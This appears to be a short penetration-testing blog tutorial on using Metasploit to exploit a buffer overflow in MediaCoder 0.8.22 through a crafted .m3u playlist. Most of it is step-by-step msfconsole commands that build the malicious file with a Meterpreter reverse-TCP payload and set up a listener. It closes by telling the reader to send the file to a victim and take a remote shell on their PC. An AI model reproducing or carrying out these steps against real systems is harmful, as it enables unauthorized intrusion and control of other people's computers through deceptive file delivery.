Kali Linux, Penetration Testing

Hack Windows 7 PC Remotely using MediaCoder .M3U Buffer Overflow

This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability occurs when adding an .m3u, allowing arbitrary code execution under the context of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder runs with DEP. This module has been tested successfully on MediaCoder to over Windows XP SP3 and Windows 7 SP0.

Exploit Targets

MediaCoder 0.8.22


Attacker: Kali Linux

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/mediacoder_m3u

msf exploit (mediacoder_m3u)>set payload windows/meterpreter/reverse_tcp

msf exploit (mediacoder_m3u)>set lhost (IP of Local Host)

msf exploit (mediacoder_m3u)>exploit

After we successfully generate the malicious m3u File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.m3u files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
